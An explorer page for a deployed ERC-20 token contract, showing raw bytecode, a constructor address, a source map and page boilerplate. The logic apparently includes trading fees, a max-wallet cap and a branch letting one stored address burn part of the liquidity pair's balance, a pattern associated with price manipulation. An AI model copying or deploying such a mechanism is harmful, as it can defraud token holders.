05546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610831573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610856919061149c565b50506007805461ffff60a81b191661010160a81b1790555060408051606080820183526109c48083525f6020808501829052938501819052600c829055600d819055600e81905584519283018552818352928201839052908301829052600f556010819055601181905590517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c89190a1565b6005546001600160a01b031633146109125760405162461bcd60e51b81526004016104ce90611454565b6001600160a01b0381166109775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ce565b61098081610e5a565b50565b6001600160a01b0383166109e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610b075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b6001600160a01b0383165f9081526012602052604090205460ff16158015610b4757506001600160a01b0382165f9081526012602052604090205460ff16155b8015610b5d5750600754600160a01b900460ff16155b15610c4e57600754600160b01b900460ff16610bb45760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016104ce565b6007546001600160a01b03838116911614610c4e57600a5481610beb846001600160a01b03165f9081526020819052604090205490565b610bf59190611489565b1115610c4e5760405162461bcd60e51b815260206004820152602260248201527f596f752061726520657863656564696e67206d617857616c6c6574486f6c64696044820152616e6760f01b60648201526084016104ce565b6007545f90600160a01b900460ff1680610c7f57506001600160a01b0384165f9081526012602052604090205460ff165b80610ca157506001600160a01b0383165f9081526012602052604090205460ff165b15610cad57505f610d0f565b6007546001600160a01b0390811690841603610ce557600f5461271090610cd490846114c7565b610cde91906114de565b9050610d0f565b6007546001600160a01b0390811690851603610d0c57600c5461271090610cd490846114c7565b505f5b600b546001600160a01b038581169116148015610d3a57506007546001600160a01b03848116911614155b15610d9e57600e546007546001600160a01b03165f90815260208190526040812054909161271091610d6c91906114c7565b610d7691906114de565b90508015610d9757600754610d97906001600160a01b031661dead83610eab565b5050505050565b600754600160a81b900460ff168015610dc15750600754600160a01b900460ff16155b8015610dda57506007546001600160a01b038481169116145b8015610dfe57506001600160a01b0384165f9081526012602052604090205460ff16155b8015610e2257506001600160a01b0383165f9081526012602052604090205460ff16155b15610e2f57610e2f611081565b610e438484610e3e8486611441565b610eab565b8015610e5457610e54843083610eab565b50505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316610f0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610f715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b6001600160a01b0383165f9081526020819052604090205481811015610fe85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104ce565b610ff28282611441565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611027908490611489565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107391815260200190565b60405180910390a350505050565b600754600160a01b900460ff16610605576007805460ff60a01b1916600160a01b179055305f90815260208190526040812054905080156110d35760095481106110ca57506009545b6110d381611101565b600b5447906110eb906001600160a01b031682611251565b50506007805460ff60a01b19169055565b505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611134576111346114fd565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561118b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111af9190611511565b816001815181106111c2576111c26114fd565b6001600160a01b0392831660209182029290920101526006546111e89130911684610983565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906112209085905f9086903090429060040161152c565b5f604051808303815f87803b158015611237575f80fd5b505af1158015611249573d5f803e3d5ffd5b505050505050565b804710156112a15760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016104ce565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156110fc573d5f803e3d5ffd5b5f602080835283518060208501525f5b81811015611300578581018301518582016040015282016112e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610980575f80fd5b5f8060408385031215611345575f80fd5b823561135081611320565b946020939093013593505050565b5f805f60608486031215611370575f80fd5b833561137b81611320565b9250602084013561138b81611320565b929592945050506040919091013590565b5f602082840312156113ac575f80fd5b81356113b781611320565b9392505050565b5f80604083850312156113cf575f80fd5b82356113da81611320565b915060208301356113ea81611320565b809150509250929050565b600181811c9082168061140957607f821691505b60208210810361142757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043c5761043c61142d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561043c5761043c61142d565b5f805f606084860312156114ae575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761043c5761043c61142d565b5f826114f857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611521575f80fd5b81516113b781611320565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561157c5784516001600160a01b031683529383019391830191600101611557565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220fb659f772f5108afcebb0b605570732745afd0ae21b0210de55b2fea2a091f4664736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a6cda8aa196a787d1937c75a6b3275758c448dc9

-----Decoded View---------------
Arg [0] : _addr (address): 0xA6cDA8AA196A787d1937C75a6B3275758c448DC9

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a6cda8aa196a787d1937c75a6b3275758c448dc9


Deployed Bytecode Sourcemap

7258:5226:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1817:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2731:169;;;;;;;;;;-1:-1:-1;2731:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;2731:169:0;1023:187:1;2138:108:0;;;;;;;;;;-1:-1:-1;2226:12:0;;2138:108;;;1361:25:1;;;1349:2;1334:18;2138:108:0;1215:177:1;2908:422:0;;;;;;;;;;-1:-1:-1;2908:422:0;;;;;:::i;:::-;;:::i;12190:154::-;;;;;;;;;;;;;:::i;:::-;;2037:93;;;;;;;;;;-1:-1:-1;2037:93:0;;2120:2;2000:36:1;;1988:2;1973:18;2037:93:0;1858:184:1;3338:215:0;;;;;;;;;;-1:-1:-1;3338:215:0;;;;;:::i;:::-;;:::i;2254:127::-;;;;;;;;;;-1:-1:-1;2254:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;2355:18:0;2328:7;2355:18;;;;;;;;;;;;2254:127;6040:94;;;;;;;;;;;;;:::i;7342:28::-;;;;;;;;;;-1:-1:-1;7342:28:0;;;;-1:-1:-1;;;;;7342:28:0;;;;;;-1:-1:-1;;;;;2478:32:1;;;2460:51;;2448:2;2433:18;7342:28:0;2299:218:1;12352:92:0;;;;;;;;;;;;;:::i;5817:87::-;;;;;;;;;;-1:-1:-1;5890:6:0;;-1:-1:-1;;;;;5890:6:0;5817:87;;1925:104;;;;;;;;;;;;;:::i;3561:377::-;;;;;;;;;;-1:-1:-1;3561:377:0;;;;;:::i;:::-;;:::i;2389:175::-;;;;;;;;;;-1:-1:-1;2389:175:0;;;;;:::i;:::-;;:::i;7377:26::-;;;;;;;;;;-1:-1:-1;7377:26:0;;;;-1:-1:-1;;;;;7377:26:0;;;2572:151;;;;;;;;;;-1:-1:-1;2572:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;2688:18:0;;;2661:7;2688:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2572:151;11698:484;;;;;;;;;;;;;:::i;6142:192::-;;;;;;;;;;-1:-1:-1;6142:192:0;;;;;:::i;:::-;;:::i;1817:100::-;1871:13;1904:5;1897:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1817:100;:::o;2731:169::-;2814:4;2831:39;299:10;2854:7;2863:6;2831:8;:39::i;:::-;-1:-1:-1;2888:4:0;2731:169;;;;;:::o;2908:422::-;3014:4;3031:36;3041:6;3049:9;3060:6;3031:9;:36::i;:::-;-1:-1:-1;;;;;3107:19:0;;3080:24;3107:19;;;:11;:19;;;;;;;;299:10;3107:33;;;;;;;;3159:26;;;;3151:79;;;;-1:-1:-1;;;3151:79:0;;3710:2:1;3151:79:0;;;3692:21:1;3749:2;3729:18;;;3722:30;3788:34;3768:18;;;3761:62;-1:-1:-1;;;3839:18:1;;;3832:38;3887:19;;3151:79:0;;;;;;;;;3241:57;3250:6;299:10;3272:25;3291:6;3272:16;:25;:::i;:::-;3241:8;:57::i;:::-;-1:-1:-1;3318:4:0;;2908:422;-1:-1:-1;;;;2908:422:0:o;12190:154::-;5890:6;;-1:-1:-1;;;;;5890:6:0;299:10;5952:23;5944:68;;;;-1:-1:-1;;;5944:68:0;;;;;;;:::i;:::-;12252:17:::1;::::0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;12252:17:0;;;::::1;::::0;;::::1;::::0;;;12264:4:::1;12252:17:::0;;;;;;12241:8:::1;:28:::0;;;;;;;;;;;;12292:14;;;;::::1;::::0;;;;;;;::::1;::::0;;;;;;;;12280:9:::1;:26:::0;;;;;;;;;;;12322:14;;::::1;::::0;-1:-1:-1;12322:14:0::1;12190:154::o:0;3338:215::-;299:10;3426:4;3475:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3475:34:0;;;;;;;;;;3426:4;;3443:80;;3466:7;;3475:47;;3512:10;;3475:47;:::i;6040:94::-;5890:6;;-1:-1:-1;;;;;5890:6:0;299:10;5952:23;5944:68;;;;-1:-1:-1;;;5944:68:0;;;;;;;:::i;:::-;6105:21:::1;6123:1;6105:9;:21::i;:::-;6040:94::o:0;12352:92::-;5890:6;;-1:-1:-1;;;;;5890:6:0;299:10;5952:23;5944:68;;;;-1:-1:-1;;;5944:68:0;;;;;;;:::i;:::-;12424:12:::1;::::0;12405:16:::1;:31:::0;12352:92::o;1925:104::-;1981:13;2014:7;2007:14;;;;;:::i;3561:377::-;299:10;3654:4;3698:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3698:34:0;;;;;;;;;;3751:35;;;;3743:85;;;;-1:-1:-1;;;3743:85:0;;4875:2:1;3743:85:0;;;4857:21:1;4914:2;4894:18;;;4887:30;4953:34;4933:18;;;4926:62;-1:-1:-1;;;5004:18:1;;;4997:35;5049:19;;3743:85:0;4673:401:1;3743:85:0;3839:67;299:10;3862:7;3871:34;3890:15;3871:16;:34;:::i;3839:67::-;-1:-1:-1;3926:4:0;;3561:377;-1:-1:-1;;;3561:377:0:o;2389:175::-;2475:4;2492:42;299:10;2516:9;2527:6;2492:9;:42::i;11698:484::-;5890:6;;-1:-1:-1;;;;;5890:6:0;299:10;5952:23;5944:68;;;;-1:-1:-1;;;5944:68:0;;;;;;;:::i;:::-;11756:14:::1;::::0;-1:-1:-1;;;11756:14:0;::::1;;;11755:15;11747:50;;;::::0;-1:-1:-1;;;11747:50:0;;5281:2:1;11747:50:0::1;::::0;::::1;5263:21:1::0;5320:2;5300:18;;;5293:30;-1:-1:-1;;;5339:18:1;;;5332:52;5401:18;;11747:50:0::1;5079:346:1::0;11747:50:0::1;11840:13;::::0;11808:62:::1;::::0;11825:4:::1;::::0;-1:-1:-1;;;;;11840:13:0::1;11856;2226:12:::0;;;2138:108;11808:62:::1;11881:13;::::0;-1:-1:-1;;;;;11881:13:0::1;:29;11918:21;11949:4;11955:24;11949:4:::0;-1:-1:-1;;;;;2355:18:0;2328:7;2355:18;;;;;;;;;;;;2254:127;11955:24:::1;11980:1;11982::::0;11984:7:::1;5890:6:::0;;-1:-1:-1;;;;;5890:6:0;;5817:87;11984:7:::1;11881:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11881:127:0;;;-1:-1:-1;;;;;5789:15:1;;;11881:127:0::1;::::0;::::1;5771:34:1::0;5821:18;;;5814:34;;;;5864:18;;;5857:34;;;;5907:18;;;5900:34;5971:15;;;5950:19;;;5943:44;11992:15:0::1;6003:19:1::0;;;5996:35;5705:19;;11881:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12019:14:0::1;:21:::0;;-1:-1:-1;;;;12051:18:0;-1:-1:-1;;;12051:18:0;;;-1:-1:-1;12091:17:0::1;::::0;;::::1;::::0;;::::1;::::0;;12097:4:::1;12091:17:::0;;;-1:-1:-1;12091:17:0::1;::::0;;::::1;::::0;;;;;;;;;12080:8:::1;:28:::0;;;;;;;;;;;12131:17;;;;::::1;::::0;;;;;;;::::1;::::0;;;;;;;;;12119:9:::1;:29:::0;;;;;;;;;12164:10;;::::1;::::0;-1:-1:-1;12164:10:0::1;11698:484::o:0;6142:192::-;5890:6;;-1:-1:-1;;;;;5890:6:0;299:10;5952:23;5944:68;;;;-1:-1:-1;;;5944:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6231:22:0;::::1;6223:73;;;::::0;-1:-1:-1;;;6223:73:0;;6555:2:1;6223:73:0::1;::::0;::::1;6537:21:1::0;6594:2;6574:18;;;6567:30;6633:34;6613:18;;;6606:62;-1:-1:-1;;;6684:18:1;;;6677:36;6730:19;;6223:73:0::1;6353:402:1::0;6223:73:0::1;6307:19;6317:8;6307:9;:19::i;:::-;6142:192:::0;:::o;4904:346::-;-1:-1:-1;;;;;5006:19:0;;4998:68;;;;-1:-1:-1;;;4998:68:0;;6962:2:1;4998:68:0;;;6944:21:1;7001:2;6981:18;;;6974:30;7040:34;7020:18;;;7013:62;-1:-1:-1;;;7091:18:1;;;7084:34;7135:19;;4998:68:0;6760:400:1;4998:68:0;-1:-1:-1;;;;;5085:21:0;;5077:68;;;;-1:-1:-1;;;5077:68:0;;7367:2:1;5077:68:0;;;7349:21:1;7406:2;7386:18;;;7379:30;7445:34;7425:18;;;7418:62;-1:-1:-1;;;7496:18:1;;;7489:32;7538:19;;5077:68:0;7165:398:1;5077:68:0;-1:-1:-1;;;;;5158:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5210:32;;1361:25:1;;;5210:32:0;;1334:18:1;5210:32:0;;;;;;;4904:346;;;:::o;8787:1513::-;8903:1;8894:6;:10;8886:64;;;;-1:-1:-1;;;8886:64:0;;7770:2:1;8886:64:0;;;7752:21:1;7809:2;7789:18;;;7782:30;7848:34;7828:18;;;7821:62;-1:-1:-1;;;7899:18:1;;;7892:39;7948:19;;8886:64:0;7568:405:1;8886:64:0;-1:-1:-1;;;;;8993:27:0;;;;;;:19;:27;;;;;;;;8992:28;:63;;;;-1:-1:-1;;;;;;9025:30:0;;;;;;:19;:30;;;;;;;;9024:31;8992:63;:76;;;;-1:-1:-1;9060:8:0;;-1:-1:-1;;;9060:8:0;;;;9059:9;8992:76;8989:329;;;9092:14;;-1:-1:-1;;;9092:14:0;;;;9084:49;;;;-1:-1:-1;;;9084:49:0;;8180:2:1;9084:49:0;;;8162:21:1;8219:2;8199:18;;;8192:30;-1:-1:-1;;;8238:18:1;;;8231:52;8300:18;;9084:49:0;7978:346:1;9084:49:0;9164:11;;-1:-1:-1;;;;;9151:24:0;;;9164:11;;9151:24;9148:159;;9236:16;;9226:6;9203:20;9213:9;-1:-1:-1;;;;;2355:18:0;2328:7;2355:18;;;;;;;;;;;;2254:127;9203:20;:29;;;;:::i;:::-;:49;;9195:96;;;;-1:-1:-1;;;9195:96:0;;8531:2:1;9195:96:0;;;8513:21:1;8570:2;8550:18;;;8543:30;8609:34;8589:18;;;8582:62;-1:-1:-1;;;8660:18:1;;;8653:32;8702:19;;9195:96:0;8329:398:1;9195:96:0;9368:8;;9330:11;;-1:-1:-1;;;9368:8:0;;;;;:39;;-1:-1:-1;;;;;;9380:27:0;;;;;;:19;:27;;;;;;;;9368:39;:73;;;-1:-1:-1;;;;;;9411:30:0;;;;;;:19;:30;;;;;;;;9368:73;9364:324;;;-1:-1:-1;9449:1:0;9364:324;;;9507:11;;-1:-1:-1;;;;;9507:11:0;;;9494:24;;;;9491:185;;9535:9;:19;9557:5;;9526:28;;:6;:28;:::i;:::-;:36;;;;:::i;:::-;9520:42;;9491:185;;;9595:11;;-1:-1:-1;;;;;9595:11:0;;;9585:21;;;;9582:94;;9623:8;:18;9644:5;;9614:27;;:6;:27;:::i;9582:94::-;-1:-1:-1;9675:1:0;9582:94;9722:8;;-1:-1:-1;;;;;9712:18:0;;;9722:8;;9712:18;:46;;;;-1:-1:-1;9747:11:0;;-1:-1:-1;;;;;9734:24:0;;;9747:11;;9734:24;;9712:46;9708:277;;;9827:13;;9812:11;;-1:-1:-1;;;;;9812:11:0;9775:24;2355:18;;;;;;;;;;;9775:24;;9843:5;;9802:38;;;;:::i;:::-;:46;;;;:::i;:::-;9775:73;-1:-1:-1;9867:20:0;;9863:89;;9905:11;;9889:63;;-1:-1:-1;;;;;9905:11:0;9926:6;9935:16;9889:15;:63::i;:::-;9967:7;;8787:1513;;;:::o;9708:277::-;9999:11;;-1:-1:-1;;;9999:11:0;;;;:24;;;;-1:-1:-1;10015:8:0;;-1:-1:-1;;;10015:8:0;;;;10014:9;9999:24;:52;;;;-1:-1:-1;10040:11:0;;-1:-1:-1;;;;;10027:24:0;;;10040:11;;10027:24;9999:52;:98;;;;-1:-1:-1;;;;;;10070:27:0;;;;;;:19;:27;;;;;;;;10069:28;9999:98;:133;;;;-1:-1:-1;;;;;;10102:30:0;;;;;;:19;:30;;;;;;;;10101:31;9999:133;9995:170;;;10148:17;:15;:17::i;:::-;10178:48;10194:6;10202:9;10213:12;10222:3;10213:6;:12;:::i;:::-;10178:15;:48::i;:::-;10240:7;;10237:55;;10249:43;10265:6;10281:4;10288:3;10249:15;:43::i;:::-;8875:1425;8787:1513;;;:::o;6342:173::-;6417:6;;;-1:-1:-1;;;;;6434:17:0;;;-1:-1:-1;;;;;;6434:17:0;;;;;;;6467:40;;6417:6;;;6434:17;6417:6;;6467:40;;6398:16;;6467:40;6387:128;6342:173;:::o;3946:604::-;-1:-1:-1;;;;;4052:20:0;;4044:70;;;;-1:-1:-1;;;4044:70:0;;9329:2:1;4044:70:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:35;9503:19;;4044:70:0;9127:401:1;4044:70:0;-1:-1:-1;;;;;4133:23:0;;4125:71;;;;-1:-1:-1;;;4125:71:0;;9735:2:1;4125:71:0;;;9717:21:1;9774:2;9754:18;;;9747:30;9813:34;9793:18;;;9786:62;-1:-1:-1;;;9864:18:1;;;9857:33;9907:19;;4125:71:0;9533:399:1;4125:71:0;-1:-1:-1;;;;;4293:17:0;;4269:21;4293:17;;;;;;;;;;;4329:23;;;;4321:74;;;;-1:-1:-1;;;4321:74:0;;10139:2:1;4321:74:0;;;10121:21:1;10178:2;10158:18;;;10151:30;10217:34;10197:18;;;10190:62;-1:-1:-1;;;10268:18:1;;;10261:36;10314:19;;4321:74:0;9937:402:1;4321:74:0;4426:22;4442:6;4426:13;:22;:::i;:::-;-1:-1:-1;;;;;4406:17:0;;;:9;:17;;;;;;;;;;;:42;;;;4459:20;;;;;;;;:30;;4483:6;;4406:9;4459:30;;4483:6;;4459:30;:::i;:::-;;;;;;;;4524:9;-1:-1:-1;;;;;4507:35:0;4516:6;-1:-1:-1;;;;;4507:35:0;;4535:6;4507:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;4507:35:0;;;;;;;;4033:517;3946:604;;;:::o;10312:426::-;8200:8;;-1:-1:-1;;;8200:8:0;;;;8195:104;;8225:8;:15;;-1:-1:-1;;;;8225:15:0;-1:-1:-1;;;8225:15:0;;;10414:4:::1;-1:-1:-1::0;2355:18:0;;;;;;;;;;;10365:55;-1:-1:-1;10437:24:0;;10433:189:::1;;10506:13;;10482:20;:37;10478:79;;-1:-1:-1::0;10544:13:0::1;::::0;10478:79:::1;10572:38;10589:20;10572:16;:38::i;:::-;10697:8;::::0;10657:21:::1;::::0;10689:41:::1;::::0;-1:-1:-1;;;;;10697:8:0::1;10657:21:::0;10689:27:::1;:41::i;:::-;-1:-1:-1::0;;8271:8:0;:16;;-1:-1:-1;;;;8271:16:0;;;10312:426::o;5258:92::-;;;;:::o;10746:419::-;10836:16;;;10850:1;10836:16;;;;;;;;10812:21;;10836:16;;;;;;;;;;-1:-1:-1;10836:16:0;10812:40;;10881:4;10863;10868:1;10863:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10863:23:0;;;:7;;;;;;;;;;:23;;;;10907:13;;:20;;;-1:-1:-1;;;10907:20:0;;;;:13;;;;;:18;;:20;;;;;10863:7;;10907:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10897:4;10902:1;10897:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10897:30:0;;;:7;;;;;;;;;:30;10972:13;;10940:60;;10957:4;;10972:13;10988:11;10940:8;:60::i;:::-;11039:13;;:118;;-1:-1:-1;;;11039:118:0;;-1:-1:-1;;;;;11039:13:0;;;;:64;;:118;;11104:11;;11039:13;;11120:4;;11134;;11141:15;;11039:118;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10801:364;10746:419;:::o;5379:200::-;5494:6;5469:21;:31;;5461:73;;;;-1:-1:-1;;;5461:73:0;;12051:2:1;5461:73:0;;;12033:21:1;12090:2;12070:18;;;12063:30;12129:31;12109:18;;;12102:59;12178:18;;5461:73:0;11849:353:1;5461:73:0;5545:26;;-1:-1:-1;;;;;5545:18:0;;;:26;;;;;5564:6;;5545:26;;;;5564:6;5545:18;:26;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2730:388::-;2798:6;2806;2859:2;2847:9;2838:7;2834:23;2830:32;2827:52;;;2875:1;2872;2865:12;2827:52;2914:9;2901:23;2933:31;2958:5;2933:31;:::i;:::-;2983:5;-1:-1:-1;3040:2:1;3025:18;;3012:32;3053:33;3012:32;3053:33;:::i;:::-;3105:7;3095:17;;;2730:388;;;;;:::o;3123:380::-;3202:1;3198:12;;;;3245;;;3266:61;;3320:4;3312:6;3308:17;3298:27;;3266:61;3373:2;3365:6;3362:14;3342:18;3339:38;3336:161;;3419:10;3414:3;3410:20;3407:1;3400:31;3454:4;3451:1;3444:15;3482:4;3479:1;3472:15;3336:161;;3123:380;;;:::o;3917:127::-;3978:10;3973:3;3969:20;3966:1;3959:31;4009:4;4006:1;3999:15;4033:4;4030:1;4023:15;4049:128;4116:9;;;4137:11;;;4134:37;;;4151:18;;:::i;4182:356::-;4384:2;4366:21;;;4403:18;;;4396:30;4462:34;4457:2;4442:18;;4435:62;4529:2;4514:18;;4182:356::o;4543:125::-;4608:9;;;4629:10;;;4626:36;;;4642:18;;:::i;6042:306::-;6130:6;6138;6146;6199:2;6187:9;6178:7;6174:23;6170:32;6167:52;;;6215:1;6212;6205:12;6167:52;6244:9;6238:16;6228:26;;6294:2;6283:9;6279:18;6273:25;6263:35;;6338:2;6327:9;6323:18;6317:25;6307:35;;6042:306;;;;;:::o;8732:168::-;8805:9;;;8836;;8853:15;;;8847:22;;8833:37;8823:71;;8874:18;;:::i;8905:217::-;8945:1;8971;8961:132;;9015:10;9010:3;9006:20;9003:1;8996:31;9050:4;9047:1;9040:15;9078:4;9075:1;9068:15;8961:132;-1:-1:-1;9107:9:1;;8905:217::o;10476:127::-;10537:10;10532:3;10528:20;10525:1;10518:31;10568:4;10565:1;10558:15;10592:4;10589:1;10582:15;10608:251;10678:6;10731:2;10719:9;10710:7;10706:23;10702:32;10699:52;;;10747:1;10744;10737:12;10699:52;10779:9;10773:16;10798:31;10823:5;10798:31;:::i;10864:980::-;11126:4;11174:3;11163:9;11159:19;11205:6;11194:9;11187:25;11231:2;11269:6;11264:2;11253:9;11249:18;11242:34;11312:3;11307:2;11296:9;11292:18;11285:31;11336:6;11371;11365:13;11402:6;11394;11387:22;11440:3;11429:9;11425:19;11418:26;;11479:2;11471:6;11467:15;11453:29;;11500:1;11510:195;11524:6;11521:1;11518:13;11510:195;;;11589:13;;-1:-1:-1;;;;;11585:39:1;11573:52;;11680:15;;;;11645:12;;;;11621:1;11539:9;11510:195;;;-1:-1:-1;;;;;;;11761:32:1;;;;11756:2;11741:18;;11734:60;-1:-1:-1;;;11825:3:1;11810:19;11803:35;11722:3;10864:980;-1:-1:-1;;;10864:980:1:o

Swarm Source

ipfs://fb659f772f5108afcebb0b605570732745afd0ae21b0210de55b2fea2a091f46
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.